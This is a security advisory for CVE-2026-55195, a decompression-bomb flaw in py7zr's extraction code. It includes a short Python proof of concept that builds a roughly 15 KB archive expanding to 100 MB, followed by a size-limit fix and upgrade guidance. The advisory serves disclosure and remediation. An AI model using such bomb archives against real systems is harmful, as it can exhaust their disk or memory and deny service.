CVE-2026-55195

Description

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

How to fix CVE-2026-55195

To remediate CVE-2026-55195, upgrade the affected package to a fixed version below.

• —upgrade to 1.1.3 or later

Is CVE-2026-55195 being exploited?

No exploitation signal available. Neither CISA KEV nor a current EPSS score has been published for CVE-2026-55195.

Affected packages (1)

• from 0, < 1.1.3

CVSS scores

References (3)

• PATCHgithub.com/miurahr/py7zr
• WEBgithub.com/miurahr/py7zr/releases/tag/v1.1.3
• WEBgithub.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774